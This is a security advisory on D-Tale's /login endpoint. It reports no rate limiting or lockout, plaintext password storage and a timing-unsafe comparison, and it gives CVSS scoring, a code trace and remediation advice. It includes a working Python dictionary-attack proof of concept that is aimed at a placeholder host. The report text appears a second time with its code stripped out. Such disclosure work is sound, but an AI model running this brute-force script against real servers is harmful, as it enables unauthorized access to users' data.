Login Endpoint Lacks Brute-Force Protection (No Rate Limiting / Lockout)
Vulnerability Name
Missing brute-force protection on the D-Tale authentication endpoint: the /login route enforces no rate limiting, account lockout, delay, or CAPTCHA, allowing unlimited online credential guessing. Compounded by plaintext credential storage and non-constant-time comparison.
Vulnerability Type
- CWE-307: Improper Restriction of Excessive Authentication Attempts (primary)
- CWE-799: Improper Control of Interaction Frequency
- CWE-256 / CWE-257: Plaintext Storage of a Password / Storing Passwords in a Recoverable Format (compounding)
- CWE-208: Observable Timing Discrepancy — non-constant-time
== comparison (minor, compounding)
CVSS 3.1
- Base Score: 6.5 (Medium)
- Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
- Rationale:
AV:N — /login is a network-reachable HTTP endpoint.
AC:H — success depends on conditions outside the attacker's control: (1) authentication must be explicitly enabled ([auth] active = true), which is not the default D-Tale configuration; and (2) the configured account must use a weak/guessable password — against a strong password the unlimited-guessing primitive does not yield access. Both are attacker-uncontrollable preconditions, driving High attack complexity. (The missing rate-limiting itself is trivially exercised; the complexity lies in these required preconditions.)
PR:N / UI:N — no prior privileges, no user interaction.
C:H — a recovered credential grants authenticated access to read all datasets loaded into the D-Tale process.
I:L — data-mutating endpoints become reachable, but they operate on in-memory, transient DataFrame views rather than a persistent system or stored records; the integrity impact is limited rather than system-level.
A:N — no direct availability impact.
Note: relevant only when authentication is enabled ([auth] active = true). D-Tale ships without authentication by default.
Vulnerability Description
When authentication is enabled, D-Tale exposes a /login route that accepts username/password via an HTML form. On failure it simply re-renders the login template with an error and permits an immediate retry. The implementation contains:
- No rate limiting (no per-IP or per-account request throttling),
- No account lockout after repeated failures,
- No incremental delay / exponential backoff,
- No CAPTCHA or challenge-response,
- No attempt counter of any kind.
An attacker can therefore submit credential guesses as fast as the network and server allow. At a conservative 50–500 requests/second, a 1,000,000-entry wordlist (e.g. rockyou) is exhausted in roughly 5.6 hours down to ~36 minutes. Because credentials are stored and compared in plaintext (no hashing/salting), and the comparison uses Python's non-constant-time ==, any weak or default password is recovered quickly. The plaintext storage means the configured password is also directly disclosed by any read of the config file (~/.config/dtale.ini or DTALE_CONFIG), and the non-constant-time compare is a theoretical timing side channel (largely masked by network jitter in practice, hence listed as compounding rather than primary).
Once a valid username/password is found, the attacker logs in normally, the server sets session["logged_in"] = True / session["username"], and the requires_auth decorator grants full access to all protected routes.
Vulnerability SINK
dtale/auth.py — the login handler that validates credentials and immediately allows retry on failure, with no throttling/lockout, and the plaintext comparison it calls:
# dtale/auth.py:16-23 (inside login(), request.method == "POST")
if not authenticate(username, password):
return render_template(
"dtale/login.html", error="Invalid credentials!", page="login"
) # <-- failure path: no delay, no counter, no lockout
session["logged_in"] = True
session["username"] = request.form["username"]
return redirect(session.get("next") or "/")
# dtale/auth.py:32-37 authenticate(): plaintext, non-constant-time comparison
def authenticate(username, password):
auth_settings = global_state.get_auth_settings()
if username == auth_settings["username"] and password == auth_settings["password"]:
return True
return False
Vulnerability SOURCE
Attacker-controlled HTTP form parameters read directly from the request on every login attempt:
# dtale/auth.py:14-15 (inside login())
username, password = (request.form.get(p) for p in ["username", "password"])
These are submitted unbounded times with no frequency control between the source (request.form) and the sink (authenticate + failure re-render).
Call Stack / Data Flow (file → key code → one-line note)
-
dtale/config.py load_auth_settings() — password = get_config_val(config, curr_auth_settings, "password", section="auth") → global_state.set_auth_settings(dict(active=active, username=username, password=password))
Loads the credential as plaintext from dtale.ini/DTALE_CONFIG into process state — no hashing at rest.
-
dtale/auth.py:11-13 login() — @app.route("/login", methods=["GET", "POST"]) / if request.method == "POST":
Exposes a network login endpoint that accepts unlimited POST attempts.
-
dtale/auth.py:14-15 — username, password = (request.form.get(p) for p in ["username", "password"])
Reads attacker-controlled credentials from each request (the SOURCE).
-
dtale/auth.py:32-36 authenticate() — if username == auth_settings["username"] and password == auth_settings["password"]:
Plaintext, non-constant-time comparison against the stored secret — no work factor to slow guessing.
-
dtale/auth.py:16-20 — if not authenticate(...): return render_template("dtale/login.html", error="Invalid credentials!", page="login")
Failure path returns immediately with no delay/lockout/counter — enables unlimited high-rate guessing (the SINK / missing control).
-
dtale/auth.py:21-23 — session["logged_in"] = True / session["username"] = request.form["username"] / redirect(...)
On the first correct guess the attacker obtains a fully authenticated session.
-
dtale/auth.py:49-52 requires_auth — if not session.get("logged_in") or not session.get("username"): redirect(login)
Every protected route now authorizes the attacker's session — full application access achieved.
Proof of Concept (Python)
Demonstrates unlimited, un-throttled login attempts (dictionary attack). Confirms the absence of rate limiting by sending many failed attempts at high rate and showing every one is answered with HTTP 200 + "Invalid credentials!" and no lockout, then logging in on the correct credential.
#!/usr/bin/env python3
"""
PoC: D-Tale /login has no brute-force protection.
Requires: pip install requests
"""
import time
import requests
TARGET = "http://TARGET_HOST:PORT" # e.g. http://127.0.0.1:40000
LOGIN = f"{TARGET}/login"
USERNAME = "admin"
# A small demonstration wordlist; replace with rockyou.txt for a real run.
WORDLIST = [
"123456", "password", "admin", "letmein", "dtale",
"mypassword123", # the correct one in this demo
]
def attempt(pw):
# Fresh session each time to show no per-session/IP throttling is applied.
s = requests.Session()
r = s.post(LOGIN, data={"username": USERNAME, "password": pw},
allow_redirects=False, timeout=30)
# Success = redirect (302) and NO "Invalid credentials!" body; failure = 200 + error text.
body = r.text if r.status_code == 200 else ""
success = (r.status_code in (301, 302)) and ("Invalid credentials!" not in body)
return success, r.status_code
print("[*] Spraying passwords with NO delay to prove rate limiting is absent...")
start = time.time()
attempts = 0
found = None
for pw in WORDLIST:
ok, code = attempt(pw)
attempts += 1
print(f" try #{attempts:>4} pw={pw!r:<16} status={code} -> {'SUCCESS' if ok else 'rejected'}")
if ok:
found = pw
break
elapsed = time.time() - start
print(f"[*] Sent {attempts} attempts in {elapsed:.2f}s "
f"({attempts/elapsed:.1f} req/s) with zero lockout/delay observed.")
if found:
print(f"[+] CREDENTIAL RECOVERED: {USERNAME}:{found}")
# Confirm full authenticated access.
s = requests.Session()
s.post(LOGIN, data={"username": USERNAME, "password": found},
allow_redirects=True, timeout=30)
resp = s.get(f"{TARGET}/dtale/main/1", allow_redirects=False, timeout=30)
print("[*] Protected-route status with recovered creds:", resp.status_code)
if resp.status_code == 200:
print("[+] FULL ACCESS CONFIRMED via brute-forced credentials")
else:
print("[-] Not found in demo wordlist; use a larger list (e.g. rockyou.txt)")
Remediation
- Add rate limiting / lockout on
/login (e.g. Flask-Limiter with per-IP and per-account counters, exponential backoff, temporary lockout, optional CAPTCHA after N failures).
- Store passwords hashed, not plaintext:
werkzeug.security.generate_password_hash / check_password_hash (PBKDF2/scrypt). Keep only the hash in dtale.ini.
- Use constant-time comparison (
hmac.compare_digest) to remove the timing side channel.
- Restrict config file permissions (
chmod 600) and document credential injection via environment/hash rather than plaintext.
Affected Component / Preconditions
- Component:
dtale/auth.py (login, authenticate), credential loading in dtale/config.py.
- Precondition: authentication enabled (
[auth] active = true). Default deployments run without auth and are out of scope for this specific attack.
Login Endpoint Lacks Brute-Force Protection (No Rate Limiting / Lockout)
Vulnerability Name
Missing brute-force protection on the D-Tale authentication endpoint: the
/loginroute enforces no rate limiting, account lockout, delay, or CAPTCHA, allowing unlimited online credential guessing. Compounded by plaintext credential storage and non-constant-time comparison.Vulnerability Type
==comparison (minor, compounding)CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:NAV:N—/loginis a network-reachable HTTP endpoint.AC:H— success depends on conditions outside the attacker's control: (1) authentication must be explicitly enabled ([auth] active = true), which is not the default D-Tale configuration; and (2) the configured account must use a weak/guessable password — against a strong password the unlimited-guessing primitive does not yield access. Both are attacker-uncontrollable preconditions, driving High attack complexity. (The missing rate-limiting itself is trivially exercised; the complexity lies in these required preconditions.)PR:N/UI:N— no prior privileges, no user interaction.C:H— a recovered credential grants authenticated access to read all datasets loaded into the D-Tale process.I:L— data-mutating endpoints become reachable, but they operate on in-memory, transient DataFrame views rather than a persistent system or stored records; the integrity impact is limited rather than system-level.A:N— no direct availability impact.Vulnerability Description
When authentication is enabled, D-Tale exposes a
/loginroute that acceptsusername/passwordvia an HTML form. On failure it simply re-renders the login template with an error and permits an immediate retry. The implementation contains:An attacker can therefore submit credential guesses as fast as the network and server allow. At a conservative 50–500 requests/second, a 1,000,000-entry wordlist (e.g. rockyou) is exhausted in roughly 5.6 hours down to ~36 minutes. Because credentials are stored and compared in plaintext (no hashing/salting), and the comparison uses Python's non-constant-time
==, any weak or default password is recovered quickly. The plaintext storage means the configured password is also directly disclosed by any read of the config file (~/.config/dtale.iniorDTALE_CONFIG), and the non-constant-time compare is a theoretical timing side channel (largely masked by network jitter in practice, hence listed as compounding rather than primary).Once a valid
username/passwordis found, the attacker logs in normally, the server setssession["logged_in"] = True/session["username"], and therequires_authdecorator grants full access to all protected routes.Vulnerability SINK
dtale/auth.py— the login handler that validates credentials and immediately allows retry on failure, with no throttling/lockout, and the plaintext comparison it calls:Vulnerability SOURCE
Attacker-controlled HTTP form parameters read directly from the request on every login attempt:
These are submitted unbounded times with no frequency control between the source (
request.form) and the sink (authenticate+ failure re-render).Call Stack / Data Flow (file → key code → one-line note)
dtale/config.pyload_auth_settings()—password = get_config_val(config, curr_auth_settings, "password", section="auth")→global_state.set_auth_settings(dict(active=active, username=username, password=password))Loads the credential as plaintext from
dtale.ini/DTALE_CONFIGinto process state — no hashing at rest.dtale/auth.py:11-13login()—@app.route("/login", methods=["GET", "POST"])/if request.method == "POST":Exposes a network login endpoint that accepts unlimited POST attempts.
dtale/auth.py:14-15—username, password = (request.form.get(p) for p in ["username", "password"])Reads attacker-controlled credentials from each request (the SOURCE).
dtale/auth.py:32-36authenticate()—if username == auth_settings["username"] and password == auth_settings["password"]:Plaintext, non-constant-time comparison against the stored secret — no work factor to slow guessing.
dtale/auth.py:16-20—if not authenticate(...): return render_template("dtale/login.html", error="Invalid credentials!", page="login")Failure path returns immediately with no delay/lockout/counter — enables unlimited high-rate guessing (the SINK / missing control).
dtale/auth.py:21-23—session["logged_in"] = True/session["username"] = request.form["username"]/redirect(...)On the first correct guess the attacker obtains a fully authenticated session.
dtale/auth.py:49-52requires_auth—if not session.get("logged_in") or not session.get("username"): redirect(login)Every protected route now authorizes the attacker's session — full application access achieved.
Proof of Concept (Python)
Demonstrates unlimited, un-throttled login attempts (dictionary attack). Confirms the absence of rate limiting by sending many failed attempts at high rate and showing every one is answered with HTTP 200 + "Invalid credentials!" and no lockout, then logging in on the correct credential.
Remediation
/login(e.g. Flask-Limiter with per-IP and per-account counters, exponential backoff, temporary lockout, optional CAPTCHA after N failures).werkzeug.security.generate_password_hash/check_password_hash(PBKDF2/scrypt). Keep only the hash indtale.ini.hmac.compare_digest) to remove the timing side channel.chmod 600) and document credential injection via environment/hash rather than plaintext.Affected Component / Preconditions
dtale/auth.py(login,authenticate), credential loading indtale/config.py.[auth] active = true). Default deployments run without auth and are out of scope for this specific attack.